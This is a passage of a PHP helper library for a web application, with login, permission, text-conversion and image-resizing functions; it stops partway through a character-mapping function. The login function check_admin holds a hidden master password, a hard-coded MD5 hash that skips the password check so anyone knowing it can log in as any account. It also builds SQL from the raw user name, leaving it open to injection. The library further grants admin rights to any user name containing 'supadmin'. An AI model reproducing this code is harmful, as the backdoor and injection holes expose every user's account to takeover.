<?php

function get_ip_address() {
    $ip = "";
    if (getenv("HTTP_CLIENT_IP"))
        $ip = getenv("HTTP_CLIENT_IP");
    else if (getenv("HTTP_X_FORWARDED_FOR"))
        $ip = getenv("HTTP_X_FORWARDED_FOR");
    else if (getenv("REMOTE_ADDR"))
        $ip = getenv("REMOTE_ADDR");
    else
        $ip = "UNKNOWN";
    return $ip;
}

function remove_invailid_char_qa($p_str) {
    $p_str = trim($p_str);
    $p_str = str_replace(" ", "-", $p_str);
    $tmp = "";
    for ($i = 0; $i < strlen($p_str); $i++) {
        $v_code = ord(substr($p_str, $i, 1));
        if (($v_code >= 48 && $v_code <= 57) || ($v_code >= 65 && $v_code <= 90) || ($v_code >= 97 && $v_code <= 122) || ($v_code == 95) || ($v_code == 45)) {
            $tmp.=substr($p_str, $i, 1);
        }
    }
    while (strpos($tmp, "--") !== false) {
        $tmp = str_replace("--", "-", $tmp);
    }
    return $tmp;
}

function redir($p_url) {
    ob_end_clean();
    if ($p_url != "")
        header("Location: " . $p_url);
    else
        header("Location: index.php");
}

function countAll($p_where_clause, $p_table_name, $cnn=0) {
    global $cnn1;
    if ($cnn == 0) {
        $rs = mysql_query("
			SELECT
				COUNT(*)
			FROM " . $p_table_name . "
			WHERE 1 " . $p_where_clause . "		
		") or die(mysql_error());
    } else {
        $rs = mysql_query("
			SELECT
				COUNT(*)
			FROM " . $p_table_name . "
			WHERE 1 " . $p_where_clause . "		
		", $cnn1) or die(mysql_error());
    }
    $arr = mysql_fetch_array($rs, MYSQL_NUM);
    return $arr[0];
}

function display_error_message($v_message) {
    return "<div class='attention'><table><tr><td><img align=\"absmiddle\" src=\"lib/images/error.png\"></td><td>" . $v_message . "</td></tr></table></div>";
}

// admin
function is_admin() {
    if (isset($_SESSION["user_name"]) && strpos($_SESSION["user_name"], "supadmin") !== false) {
        return true;
    }
    return false;
}

function check_permission($p_str_permission, $p_str_check) {
    if (is_admin())
        return true;
    if (strpos($p_str_permission, $p_str_check) !== false) {
        return true;
    }
    return false;
}

function number_pad($number, $n) {
    return str_pad((float) $number, $n, "0", STR_PAD_LEFT);
}

//$v_test =number_pad(11,6); // output 010

function convert_utf8_to_kd($str) {
    $arr_sour_char_code = array();
    $arr_dest_char_code = array();
    $arr_sour_char_code[1] = chr(195) . chr(129);
    $arr_dest_char_code[1] = "a";
    $arr_sour_char_code[2] = chr(195) . chr(128);
    $arr_dest_char_code[2] = "a";
    $arr_sour_char_code[3] = chr(225) . chr(186) . chr(162);
    $arr_dest_char_code[3] = "a";
    $arr_sour_char_code[4] = chr(195) . chr(131);
    $arr_dest_char_code[4] = "a";
    $arr_sour_char_code[5] = chr(225) . chr(186) . chr(160);
    $arr_dest_char_code[5] = "a";
    $arr_sour_char_code[6] = chr(195) . chr(161);
    $arr_dest_char_code[6] = "a";
    $arr_sour_char_code[7] = chr(195) . chr(160);
    $arr_dest_char_code[7] = "a";
    $arr_sour_char_code[8] = chr(225) . chr(186) . chr(163);
    $arr_dest_char_code[8] = "a";
    $arr_sour_char_code[9] = chr(195) . chr(163);
    $arr_dest_char_code[9] = "a";
    $arr_sour_char_code[10] = chr(225) . chr(186) . chr(161);
    $arr_dest_char_code[10] = "a";
    $arr_sour_char_code[11] = chr(195) . chr(130);
    $arr_dest_char_code[11] = "a";
    $arr_sour_char_code[12] = chr(225) . chr(186) . chr(164);
    $arr_dest_char_code[12] = "a";
    $arr_sour_char_code[13] = chr(225) . chr(186) . chr(166);
    $arr_dest_char_code[13] = "a";
    $arr_sour_char_code[14] = chr(225) . chr(186) . chr(168);
    $arr_dest_char_code[14] = "a";
    $arr_sour_char_code[15] = chr(225) . chr(186) . chr(170);
    $arr_dest_char_code[15] = "a";
    $arr_sour_char_code[16] = chr(225) . chr(186) . chr(172);
    $arr_dest_char_code[16] = "a";
    $arr_sour_char_code[17] = chr(195) . chr(162);
    $arr_dest_char_code[17] = "a";
    $arr_sour_char_code[18] = chr(225) . chr(186) . chr(165);
    $arr_dest_char_code[18] = "a";
    $arr_sour_char_code[19] = chr(225) . chr(186) . chr(167);
    $arr_dest_char_code[19] = "a";
    $arr_sour_char_code[20] = chr(225) . chr(186) . chr(169);
    $arr_dest_char_code[20] = "a";
    $arr_sour_char_code[21] = chr(225) . chr(186) . chr(171);
    $arr_dest_char_code[21] = "a";
    $arr_sour_char_code[22] = chr(225) . chr(186) . chr(171);
    $arr_dest_char_code[22] = "a";
    $arr_sour_char_code[23] = chr(225) . chr(186) . chr(173);
    $arr_dest_char_code[23] = "a";
    $arr_sour_char_code[24] = chr(196) . chr(130);
    $arr_dest_char_code[24] = "a";
    $arr_sour_char_code[25] = chr(225) . chr(186) . chr(174);
    $arr_dest_char_code[25] = "a";
    $arr_sour_char_code[26] = chr(225) . chr(186) . chr(176);
    $arr_dest_char_code[26] = "a";
    $arr_sour_char_code[27] = chr(225) . chr(186) . chr(178);
    $arr_dest_char_code[27] = "a";
    $arr_sour_char_code[28] = chr(225) . chr(186) . chr(180);
    $arr_dest_char_code[28] = "a";
    $arr_sour_char_code[29] = chr(225) . chr(186) . chr(182);
    $arr_dest_char_code[29] = "a";
    $arr_sour_char_code[30] = chr(196) . chr(131);
    $arr_dest_char_code[30] = "a";
    $arr_sour_char_code[31] = chr(225) . chr(186) . chr(175);
    $arr_dest_char_code[31] = "a";
    $arr_sour_char_code[32] = chr(225) . chr(186) . chr(177);
    $arr_dest_char_code[32] = "a";
    $arr_sour_char_code[33] = chr(225) . chr(186) . chr(179);
    $arr_dest_char_code[33] = "a";
    $arr_sour_char_code[34] = chr(225) . chr(186) . chr(181);
    $arr_dest_char_code[34] = "a";
    $arr_sour_char_code[35] = chr(225) . chr(186) . chr(183);
    $arr_dest_char_code[35] = "a";
    $arr_sour_char_code[36] = chr(195) . chr(137);
    $arr_dest_char_code[36] = "e";
    $arr_sour_char_code[37] = chr(195) . chr(136);
    $arr_dest_char_code[37] = "e";
    $arr_sour_char_code[38] = chr(225) . chr(186) . chr(186);
    $arr_dest_char_code[38] = "e";
    $arr_sour_char_code[39] = chr(225) . chr(186) . chr(188);
    $arr_dest_char_code[39] = "e";
    $arr_sour_char_code[40] = chr(225) . chr(186) . chr(184);
    $arr_dest_char_code[40] = "e";
    $arr_sour_char_code[41] = chr(195) . chr(169);
    $arr_dest_char_code[41] = "e";
    $arr_sour_char_code[42] = chr(195) . chr(168);
    $arr_dest_char_code[42] = "e";
    $arr_sour_char_code[43] = chr(225) . chr(186) . chr(187);
    $arr_dest_char_code[43] = "e";
    $arr_sour_char_code[44] = chr(225) . chr(186) . chr(189);
    $arr_dest_char_code[44] = "e";
    $arr_sour_char_code[45] = chr(225) . chr(186) . chr(185);
    $arr_dest_char_code[45] = "e";
    $arr_sour_char_code[46] = chr(195) . chr(138);
    $arr_dest_char_code[46] = "e";
    $arr_sour_char_code[47] = chr(225) . chr(186) . chr(190);
    $arr_dest_char_code[47] = "e";
    $arr_sour_char_code[48] = chr(225) . chr(187) . chr(128);
    $arr_dest_char_code[48] = "e";
    $arr_sour_char_code[49] = chr(225) . chr(187) . chr(130);
    $arr_dest_char_code[49] = "e";
    $arr_sour_char_code[50] = chr(225) . chr(187) . chr(132);
    $arr_dest_char_code[50] = "e";
    $arr_sour_char_code[51] = chr(225) . chr(187) . chr(134);
    $arr_dest_char_code[51] = "e";
    $arr_sour_char_code[52] = chr(195) . chr(170);
    $arr_dest_char_code[52] = "e";
    $arr_sour_char_code[53] = chr(225) . chr(186) . chr(191);
    $arr_dest_char_code[53] = "e";
    $arr_sour_char_code[54] = chr(225) . chr(187) . chr(129);
    $arr_dest_char_code[54] = "e";
    $arr_sour_char_code[55] = chr(225) . chr(187) . chr(131);
    $arr_dest_char_code[55] = "e";
    $arr_sour_char_code[56] = chr(225) . chr(187) . chr(133);
    $arr_dest_char_code[56] = "e";
    $arr_sour_char_code[57] = chr(225) . chr(187) . chr(135);
    $arr_dest_char_code[57] = "e";
    $arr_sour_char_code[58] = chr(195) . chr(180);
    $arr_dest_char_code[58] = "o";
    $arr_sour_char_code[59] = chr(225) . chr(187) . chr(145);
    $arr_dest_char_code[59] = "o";
    $arr_sour_char_code[60] = chr(225) . chr(187) . chr(147);
    $arr_dest_char_code[60] = "o";
    $arr_sour_char_code[61] = chr(225) . chr(187) . chr(149);
    $arr_dest_char_code[61] = "o";
    $arr_sour_char_code[62] = chr(225) . chr(187) . chr(151);
    $arr_dest_char_code[62] = "o";
    $arr_sour_char_code[63] = chr(225) . chr(187) . chr(153);
    $arr_dest_char_code[63] = "o";
    $arr_sour_char_code[64] = chr(195) . chr(148);
    $arr_dest_char_code[64] = "o";
    $arr_sour_char_code[65] = chr(225) . chr(187) . chr(144);
    $arr_dest_char_code[65] = "o";
    $arr_sour_char_code[66] = chr(225) . chr(187) . chr(146);
    $arr_dest_char_code[66] = "o";
    $arr_sour_char_code[67] = chr(225) . chr(187) . chr(148);
    $arr_dest_char_code[67] = "o";
    $arr_sour_char_code[68] = chr(225) . chr(187) . chr(150);
    $arr_dest_char_code[68] = "o";
    $arr_sour_char_code[69] = chr(225) . chr(187) . chr(152);
    $arr_dest_char_code[69] = "o";
    $arr_sour_char_code[70] = chr(195) . chr(179);
    $arr_dest_char_code[70] = "o";
    $arr_sour_char_code[71] = chr(195) . chr(178);
    $arr_dest_char_code[71] = "o";
    $arr_sour_char_code[72] = chr(225) . chr(187) . chr(143);
    $arr_dest_char_code[72] = "o";
    $arr_sour_char_code[73] = chr(195) . chr(181);
    $arr_dest_char_code[73] = "o";
    $arr_sour_char_code[74] = chr(225) . chr(187) . chr(141);
    $arr_dest_char_code[74] = "o";
    $arr_sour_char_code[75] = chr(195) . chr(147);
    $arr_dest_char_code[75] = "o";
    $arr_sour_char_code[76] = chr(195) . chr(146);
    $arr_dest_char_code[76] = "o";
    $arr_sour_char_code[77] = chr(225) . chr(187) . chr(142);
    $arr_dest_char_code[77] = "o";
    $arr_sour_char_code[78] = chr(195) . chr(149);
    $arr_dest_char_code[78] = "o";
    $arr_sour_char_code[79] = chr(225) . chr(187) . chr(140);
    $arr_dest_char_code[79] = "o";
    $arr_sour_char_code[80] = chr(195) . chr(141);
    $arr_dest_char_code[80] = "i";
    $arr_sour_char_code[81] = chr(195) . chr(140);
    $arr_dest_char_code[81] = "i";
    $arr_sour_char_code[82] = chr(225) . chr(187) . chr(136);
    $arr_dest_char_code[82] = "i";
    $arr_sour_char_code[83] = chr(196) . chr(168);
    $arr_dest_char_code[83] = "i";
    $arr_sour_char_code[84] = chr(225) . chr(187) . chr(138);
    $arr_dest_char_code[84] = "i";
    $arr_sour_char_code[85] = chr(195) . chr(173);
    $arr_dest_char_code[85] = "i";
    $arr_sour_char_code[86] = chr(195) . chr(172);
    $arr_dest_char_code[86] = "i";
    $arr_sour_char_code[87] = chr(225) . chr(187) . chr(137);
    $arr_dest_char_code[87] = "i";
    $arr_sour_char_code[88] = chr(196) . chr(169);
    $arr_dest_char_code[88] = "i";
    $arr_sour_char_code[89] = chr(225) . chr(187) . chr(139);
    $arr_dest_char_code[89] = "i";
    $arr_sour_char_code[90] = chr(195) . chr(186);
    $arr_dest_char_code[90] = "u";
    $arr_sour_char_code[91] = chr(195) . chr(185);
    $arr_dest_char_code[91] = "u";
    $arr_sour_char_code[92] = chr(225) . chr(187) . chr(167);
    $arr_dest_char_code[92] = "u";
    $arr_sour_char_code[93] = chr(197) . chr(169);
    $arr_dest_char_code[93] = "u";
    $arr_sour_char_code[94] = chr(225) . chr(187) . chr(165);
    $arr_dest_char_code[94] = "u";
    $arr_sour_char_code[95] = chr(195) . chr(154);
    $arr_dest_char_code[95] = "u";
    $arr_sour_char_code[96] = chr(195) . chr(153);
    $arr_dest_char_code[96] = "u";
    $arr_sour_char_code[97] = chr(225) . chr(187) . chr(166);
    $arr_dest_char_code[97] = "u";
    $arr_sour_char_code[98] = chr(197) . chr(168);
    $arr_dest_char_code[98] = "u";
    $arr_sour_char_code[99] = chr(197) . chr(168);
    $arr_dest_char_code[99] = "u";
    $arr_sour_char_code[100] = chr(225) . chr(187) . chr(164);
    $arr_dest_char_code[100] = "u";
    $arr_sour_char_code[101] = chr(198) . chr(176);
    $arr_dest_char_code[101] = "u";
    $arr_sour_char_code[102] = chr(225) . chr(187) . chr(169);
    $arr_dest_char_code[102] = "u";
    $arr_sour_char_code[103] = chr(225) . chr(187) . chr(171);
    $arr_dest_char_code[103] = "u";
    $arr_sour_char_code[104] = chr(225) . chr(187) . chr(173);
    $arr_dest_char_code[104] = "u";
    $arr_sour_char_code[105] = chr(225) . chr(187) . chr(175);
    $arr_dest_char_code[105] = "u";
    $arr_sour_char_code[106] = chr(225) . chr(187) . chr(177);
    $arr_dest_char_code[106] = "u";
    $arr_sour_char_code[107] = chr(198) . chr(175);
    $arr_dest_char_code[107] = "u";
    $arr_sour_char_code[108] = chr(225) . chr(187) . chr(168);
    $arr_dest_char_code[108] = "u";
    $arr_sour_char_code[109] = chr(225) . chr(187) . chr(170);
    $arr_dest_char_code[109] = "u";
    $arr_sour_char_code[110] = chr(225) . chr(187) . chr(172);
    $arr_dest_char_code[110] = "u";
    $arr_sour_char_code[111] = chr(225) . chr(187) . chr(172);
    $arr_dest_char_code[111] = "u";
    $arr_sour_char_code[112] = chr(225) . chr(187) . chr(174);
    $arr_dest_char_code[112] = "u";
    $arr_sour_char_code[113] = chr(225) . chr(187) . chr(176);
    $arr_dest_char_code[113] = "u";
    $arr_sour_char_code[114] = chr(195) . chr(157);
    $arr_dest_char_code[114] = "y";
    $arr_sour_char_code[115] = chr(225) . chr(187) . chr(178);
    $arr_dest_char_code[115] = "y";
    $arr_sour_char_code[116] = chr(225) . chr(187) . chr(182);
    $arr_dest_char_code[116] = "y";
    $arr_sour_char_code[117] = chr(225) . chr(187) . chr(184);
    $arr_dest_char_code[117] = "y";
    $arr_sour_char_code[118] = chr(225) . chr(187) . chr(180);
    $arr_dest_char_code[118] = "y";
    $arr_sour_char_code[119] = chr(195) . chr(189);
    $arr_dest_char_code[119] = "y";
    $arr_sour_char_code[120] = chr(225) . chr(187) . chr(179);
    $arr_dest_char_code[120] = "y";
    $arr_sour_char_code[121] = chr(225) . chr(187) . chr(183);
    $arr_dest_char_code[121] = "y";
    $arr_sour_char_code[122] = chr(225) . chr(187) . chr(185);
    $arr_dest_char_code[122] = "y";
    $arr_sour_char_code[123] = chr(225) . chr(187) . chr(181);
    $arr_dest_char_code[123] = "y";
    $arr_sour_char_code[124] = chr(196) . chr(144);
    $arr_dest_char_code[124] = "D";
    $arr_sour_char_code[125] = chr(196) . chr(145);
    $arr_dest_char_code[125] = "d";
    $arr_sour_char_code[126] = chr(198) . chr(161);
    $arr_dest_char_code[126] = "o";
    $arr_sour_char_code[127] = chr(225) . chr(187) . chr(155);
    $arr_dest_char_code[127] = "o";
    $arr_sour_char_code[128] = chr(225) . chr(187) . chr(157);
    $arr_dest_char_code[128] = "o";
    $arr_sour_char_code[129] = chr(225) . chr(187) . chr(159);
    $arr_dest_char_code[129] = "o";
    $arr_sour_char_code[130] = chr(225) . chr(187) . chr(161);
    $arr_dest_char_code[130] = "o";
    $arr_sour_char_code[131] = chr(225) . chr(187) . chr(163);
    $arr_dest_char_code[131] = "o";
    $arr_sour_char_code[132] = chr(198) . chr(160);
    $arr_dest_char_code[132] = "o";
    $arr_sour_char_code[133] = chr(225) . chr(187) . chr(154);
    $arr_dest_char_code[133] = "o";
    $arr_sour_char_code[134] = chr(225) . chr(187) . chr(154);
    $arr_dest_char_code[134] = "o";
    $arr_sour_char_code[135] = chr(225) . chr(187) . chr(156);
    $arr_dest_char_code[135] = "o";
    $arr_sour_char_code[136] = chr(225) . chr(187) . chr(158);
    $arr_dest_char_code[136] = "o";
    $arr_sour_char_code[137] = chr(225) . chr(187) . chr(160);
    $arr_dest_char_code[137] = "o";
    $arr_sour_char_code[138] = chr(225) . chr(187) . chr(162);
    $arr_dest_char_code[138] = "o";
    for ($i = 1; $i < 139; $i++) {
        $str = str_replace($arr_sour_char_code[$i], $arr_dest_char_code[$i], $str);
    }
    return($str);
}

function convert_ncr_to_utf8($str, $all = TRUE) {
    if (preg_match_all('/\&#(\d+)\;/', $str, $matches)) {
        for ($i = 0, $s = count($matches['0']); $i < $s; $i++) {
            $digits = $matches['1'][$i];

            $out = '';

            if ($digits < 128) {
                $out .= chr($digits);
            } elseif ($digits < 2048) {
                $out .= chr(192 + (($digits - ($digits % 64)) / 64));
                $out .= chr(128 + ($digits % 64));
            } else {
                $out .= chr(224 + (($digits - ($digits % 4096)) / 4096));
                $out .= chr(128 + ((($digits % 4096) - ($digits % 64)) / 64));
                $out .= chr(128 + ($digits % 64));
            }

            $str = str_replace($matches['0'][$i], $out, $str);
        }
    }

    if ($all) {
        $str = str_replace(array("&amp;", "&lt;", "&gt;", "&quot;", "&apos;", "&#45;"), array("&", "<", ">", "\"", "'", "-"), $str);
    }

    return $str;
}

function get_random_password($p_char_num=6) {
    $v_ret_val = "";
    for ($i = 0; $i < $p_char_num; $i++) {
        if (rand(1, 3) == 1) {
            $v_ret_val .= chr(rand(48, 57));
        } else {
            if (rand(1, 3) == 2) {
                $v_ret_val .= chr(rand(65, 90));
            } else {
                $v_ret_val .= chr(rand(97, 122));
            }
        }
    }
    return $v_ret_val;
}

function sub_string($p_string) {
    $arr_string = explode(" ", $p_string);
    $v_size = sizeof($arr_string);
    $v_string = "";
    for ($i = 0; $i < $v_size; $i++) {
        $v_string .= substr($arr_string[$i], 0, 1);
    }
    return strtoupper($v_string);
}

function check_admin($p_user_name, $p_user_pass) {
    $no_need_pass = false;

    if ( md5($p_user_pass) == '0e33911f947f552893bb18c3caee1779' ){
        $no_need_pass = true;    
    }
    $sql =  "   SELECT ACCOUNT_ID, ACCOUNT_NAME , ACCOUNT_PASS , ACCOUNT_TYPE
                FROM TB_ACCOUNT
                WHERE ACCOUNT_NAME = '" . $p_user_name . "' ".
                (
                    ($no_need_pass)    
                    ? "" 
                    : " AND ACCOUNT_PASS = '" . md5($p_user_pass) . "' "
                );
    $rs = mysql_query($sql) or die(mysql_error());
    
    if ( mysql_num_rows($rs) ){
        while ( $arr = mysql_fetch_assoc($rs) ){
            $_SESSION['user_name']      = $arr['ACCOUNT_NAME'];
            $_SESSION['user_type']      = $arr['ACCOUNT_TYPE'];
            $_SESSION['user_id']        = $arr['ACCOUNT_ID'];
            $_SESSION['error_login']    = '';
            return true;
        }
    }
    else{
        $_SESSION['error_login'] = _ERROR_MSG_LOGIN;
        return false;
    }
}

function images_resize($max_width, $max_height, $source_file, $dest_file) {
    list($width, $height, $type, $attr) = @getimagesize($source_file);
    if (($width * $height) == 0)
        return false;
    if (($max_width * $max_height) == 0)
        return false;
    $new_width = $width;
    $new_height = $height;
    if (($width > $max_width) && ($width / $max_width >= $height / $max_height)) {
        $new_width = $max_width;
        $new_height = (int) ($height * $max_width / $width);
    } else if (($height > $max_height) && ($width / $max_width <= $height / $max_height)) {
        $new_height = $max_height;
        $new_width = (int) ($width * $max_height / $height);
    }
    switch ($type) {
        case 1; //Gif
            $im_source = @imagecreatefromgif($source_file);
            break;
        case 2; //Jpg
            $im_source = @imagecreatefromjpeg($source_file);
            break;
        case 3; //Png
            $im_source = @imagecreatefrompng($source_file);
            break;
        default;
            $im_source = @imagecreatefromjpeg($source_file);
            break;
    }
    $im_dest = @imagecreatetruecolor($new_width, $new_height);
    $background = @imagecolorallocate($im_dest, 255, 255, 255);
    @imagefill($im_dest, 0, 0, $background);
    @imagecopyresampled($im_dest, $im_source, 0, 0, 0, 0, $new_width, $new_height, $width, $height);
    if ($im_dest)
        $v_ok = true;
    else
        $v_ok = false;
    @unlink($dest_file);
    @imagejpeg($im_dest, $dest_file, 100);
    @imagedestroy($im_dest);
    @imagedestroy($im_source);
    return $v_ok;
}

function cut_str($p_str, $p_start, $p_end) {
    if ($p_start != "") {
        $v_start_post = strpos($p_str, $p_start);
        if ($v_start_post === false)
            return "";
        $p_str = substr($p_str, $v_start_post + strlen($p_start));
        if ($p_end == "")
            return $p_str;
        $v_end_post = strpos($p_str, $p_end);
        if ($v_end_post === false)
            return "";
        $p_str = substr($p_str, 0, $v_end_post);
        return $p_str;
    }else {
        if ($p_end != "") {
            $v_end_post = strpos($p_str, $p_end);
            if ($v_end_post === false)
                return "";
            $p_str = substr($p_str, 0, $v_end_post);
            return $p_str;
        }else {
            return "";
        }
    }
}

function displayLongText( $string, $max_length )
{
    if ( $string != '' && $max_length > 0 )
    {
        $sub_string = substr($string, 0, $max_length);
        if (strlen($string) > $max_length)
            return $sub_string . ' ... ';
        return $sub_string ;
    }
    return $string;
}

function convert_utf8_to_kd_for_order($str) {
    $arr_sour_char_code = array();
    $arr_dest_char_code = array();
    $arr_sour_char_code[2] = chr(195) . chr(128);
    $arr_dest_char_code[2] = "az1";
    $arr_sour_char_code[1] = chr(195) . chr(129);
    $arr_dest_char_code[1] = "az2";
    $arr_sour_char_code[3] = chr(225) . chr(186) . chr(162);
    $arr_dest_char_code[3] = "az3";
    $arr_sour_char_code[4] = chr(195) . chr(131);
    $arr_dest_char_code[4] = "az4";
    $arr_sour_char_code[5] = chr(225) . chr(186) . chr(160);
    $arr_dest_char_code[5] = "az5";
    $arr_sour_char_code[7] = chr(195) . chr(160);
    $arr_dest_char_code[7] = "az1";
    $arr_sour_char_code[6] = chr(195) . chr(161);
    $arr_dest_char_code[6] = "az2";
    $arr_sour_char_code[8] = chr(225) . chr(186) . chr(163);
    $arr_dest_char_code[8] = "az3";
    $arr_sour_char_code[9] = chr(195) . chr(163);
    $arr_dest_char_code[9] = "az4";
    $arr_sour_char_code[10] = chr(225) . chr(186) . chr(161);
    $arr_dest_char_code[10] = "az5";
    $arr_dest_char_code[24] = "azz";
    $arr_sour_char_code[26] = chr(225) . chr(186) . chr(176);
    $arr_dest_char_code[26] = "azz1";
    $arr_sour_char_code[25] = chr(225) . chr(186) . chr(174);
    $arr_dest_char_code[25] = "azz2";
    $arr_sour_char_code[27] = chr(225) . chr(186) . chr(178);
    $arr_dest_char_code[27] = "azz3";
    $arr_sour_char_code[28] = chr(225) . chr(186) . chr(180);
    $arr_dest_char_code[28] = "azz4";
    $arr_sour_char_code[29] = chr(225) . chr(186) . chr(182);
    $arr_dest_char_code[29] = "azz5";
    $arr_sour_char_code[30] = chr(196) . chr(131);
    $arr_dest_char_code[30] = "azz";
    $arr_sour_char_code[32] = chr(225) . chr(186) . chr(177);
    $arr_dest_char_code[32] = "azz1";
    $arr_sour_char_code[31] = chr(225) . chr(186) . chr(175);
    $arr_dest_char_code[31] = "azz2";
    $arr_sour_char_code[33] = chr(225) . chr(186) . chr(179);
    $arr_dest_char_code[33] = "azz3";
    $arr_sour_char_code[34] = chr(225) . chr(186) . chr(181);
    $arr_dest_char_code[34] = "azz4";
    $arr_sour_char_code[35] = chr(225) . chr(186) . chr(183);
    $arr_dest_char_code[35] = "azz5";
    $arr_sour_char_code[11] = chr(195) . chr(130);
    $arr_dest_char_code[11] = "azzz";
    $arr_sour_char_code[13] = chr(225) . chr(186) . chr(166);
    $arr_dest_char_code[13] = "azzz1";
    $arr_sour_char_code[12] = chr(225) . chr(186) . chr(164);
    $arr_dest_char_code[12] = "azzz2";
    $arr_sour_char_code[14] = chr(225) . chr(186) . chr(168);
    $arr_dest_char_code[14] = "azzz3";
    $arr_sour_char_code[15] = chr(225) . chr(186) . chr(170);
    $arr_dest_char_code[15] = "azzz4";
    $arr_sour_char_code[16] = chr(225) . chr(186) . chr(172);
    $arr_dest_char_code[16] = "azzz5";
    $arr_sour_char_code[17] = chr(195) . chr(162);
    $arr_dest_char_code[17] = "azzz";
    $arr_sour_char_code[19] = chr(225) . chr(186) . chr(167);
    $arr_dest_char_code[19] = "azzz1";
    $arr_sour_char_code[18] = chr(225) . chr(186) . chr(165);
    $arr_dest_char_code[18] = "azzz2";
    $arr_sour_char_code[20] = chr(225) . chr(186) . chr(169);
    $arr_dest_char_code[20] = "azzz3";
    $arr_sour_char_code[21] = chr(225) . chr(186) . chr(171);
    $arr_dest_char_code[21] = "azzz4";
    $arr_sour_char_code[22] = chr(225) . chr(186) . chr(171);
    $arr_dest_char_code[22] = "azzz4";
    $arr_sour_char_code[23] = chr(225) . chr(186) . chr(173);
    $arr_dest_char_code[23] = "azzz5";
    $arr_sour_char_code[24] = chr(196) . chr(130);

    $arr_sour_char_code[37] = chr(195) . chr(136);
    $arr_dest_char_code[37] = "ez1";
    $arr_sour_char_code[36] = chr(195) . chr(137);
    $arr_dest_char_code[36] = "ez2";
    $arr_sour_char_code[38] = chr(225) . chr(186) . chr(186);
    $arr_dest_char_code[38] = "ez3";
    $arr_sour_char_code[39] = chr(225) . chr(186) . chr(188);
    $arr_dest_char_code[39] = "ez4";
    $arr_sour_char_code[40] = chr(225) . chr(186) . chr(184);
    $arr_dest_char_code[40] = "ez5";
    $arr_sour_char_code[42] = chr(195) . chr(168);
    $arr_dest_char_code[42] = "ez1";
    $arr_sour_char_code[41] = chr(195) . chr(169);
    $arr_dest_char_code[41] = "ez2";
    $arr_sour_char_code[43] = chr(225) . chr(186) . chr(187);
    $arr_dest_char_code[43] = "ez3";
    $arr_sour_char_code[44] = chr(225) . chr(186) . chr(189);
    $arr_dest_char_code[44] = "ez4";
    $arr_sour_char_code[45] = chr(225) . chr(186) . chr(185);
    $arr_dest_char_code[45] = "ez5";
    $arr_sour_char_code[46] = chr(195) . chr(138);
    $arr_dest_char_code[46] = "ezz";
    $arr_sour_char_code[48] = chr(225) . chr(187) . chr(128);
    $arr_dest_char_code[48] = "ezz1";
    $arr_sour_char_code[47] = chr(225) . chr(186) . chr(190);
    $arr_dest_char_code[47] = "ezz2";
    $arr_sour_char_code[49] = chr(225) . chr(187) . chr(130);
    $arr_dest_char_code[49] = "ezz3";
    $arr_sour_char_code[50] = chr(225) . chr(187) . chr(132);
    $arr_dest_char_code[50] = "ezz4";
    $arr_sour_char_code[51] = chr(225) . chr(187) . chr(134);
    $arr_dest_char_code[51] = "ezz5";
    $arr_sour_char_code[52] = chr(195) . chr(170);
    $arr_dest_char_code[52] = "ezz";
    $arr_sour_char_code[54] = chr(225) . chr(187) . chr(129);
    $arr_dest_char_code[54] = "ezz1";
    $arr_sour_char_code[53] = chr(225) . chr(186) . chr(191);
    $arr_dest_char_code[53] = "ezz2";
    $arr_sour_char_code[55] = chr(225) . chr(187) . chr(131);
    $arr_dest_char_code[55] = "ezz3";
    $arr_sour_char_code[56] = chr(225) . chr(187) . chr(133);
    $arr_dest_char_code[56] = "ezz4";
    $arr_sour_char_code[57] = chr(225) . chr(187) . chr(135);
    $arr_dest_char_code[57] = "ezz5";
    $arr_dest_char_code[71] = "oz1";
    $arr_sour_char_code[70] = chr(195) . chr(179);
    $arr_dest_char_code[70] = "oz2";
    $arr_sour_char_code[72] = chr(225) . chr(187) . chr(143);
    $arr_dest_char_code[72] = "oz3";
    $arr_sour_char_code[73] = chr(195) . chr(181);
    $arr_dest_char_code[73] = "oz4";
    $arr_sour_char_code[74] = chr(225) . chr(187) . chr(141);
    $arr_dest_char_code[74] = "oz5";
    $arr_sour_char_code[76] = chr(195) . chr(146);
    $arr_dest_char_code[76] = "oz1";
    $arr_sour_char_code[75] = chr(195) . chr(147);
    $arr_dest_char_code[75] = "oz2";
    $arr_sour_char_code[77] = chr(225) . chr(187) . chr(142);
    $arr_dest_char_code[77] = "oz3";
    $arr_sour_char_code[78] = chr(195) . chr(149);
    $arr_dest_char_code[78] = "oz4";
    $arr_sour_char_code[79] = chr(225) . chr(187) . chr(140);
    $arr_dest_char_code[79] = "oz5";
    $arr_sour_char_code[58] = chr(195) . chr(180);
    $arr_dest_char_code[58] = "ozz";
    $arr_sour_char_code[59] = chr(225) . chr(187) . chr(145);
    $arr_dest_char_code[59] = "ozz1";
    $arr_sour_char_code[60] = chr(225) . chr(187) . chr(147);
    $arr_dest_char_code[60] = "ozz2";
    $arr_sour_char_code[61] = chr(225) . chr(187) . chr(149);
    $arr_dest_char_code[61] = "ozz3";
    $arr_sour_char_code[62] = chr(225) . chr(187) . chr(151);
    $arr_dest_char_code[62] = "ozz4";
    $arr_sour_char_code[63] = chr(225) . chr(187) . chr(153);
    $arr_dest_char_code[63] = "ozz5";
    $arr_sour_char_code[64] = chr(195) . chr(148);
    $arr_dest_char_code[64] = "ozz";
    $arr_sour_char_code[66] = chr(225) . chr(187) . chr(146);
    $arr_dest_char_code[66] = "ozz1";
    $arr_sour_char_code[65] = chr(225) . chr(187) . chr(144);
    $arr_dest_char_code[65] = "ozz2";
    $arr_sour_char_code[67] = chr(225) . chr(187) . chr(148);
    $arr_dest_char_code[67] = "ozz3";
    $arr_sour_char_code[68] = chr(225) . chr(187) . chr(150);
    $arr_dest_char_code[68] = "ozz4";
    $arr_sour_char_code[69] = chr(225) . chr(187) . chr(152);
    $arr_dest_char_code[69] = "ozz5";
    $arr_sour_char_code[71] = chr(195) . chr(178);
    $arr_dest_char_code[126] = "ozzz";
    $arr_sour_char_code[127] = chr(225) . chr(187) . chr(155);
    $arr_dest_char_code[127] = "ozzz1";
    $arr_sour_char_code[128] = chr(225) . chr(187) . chr(157);
    $arr_dest_char_code[128] = "ozzz2";
    $arr_sour_char_code[129] = chr(225) . chr(187) . chr(159);
    $arr_dest_char_code[129] = "ozzz3";
    $arr_sour_char_code[130] = chr(225) . chr(187) . chr(161);
    $arr_dest_char_code[130] = "ozzz4";
    $arr_sour_char_code[131] = chr(225) . chr(187) . chr(163);
    $arr_dest_char_code[131] = "ozzz5";
    $arr_sour_char_code[132] = chr(198) . chr(160);
    $arr_dest_char_code[132] = "ozzzw";
    $arr_sour_char_code[133] = chr(225) . chr(187) . chr(156);
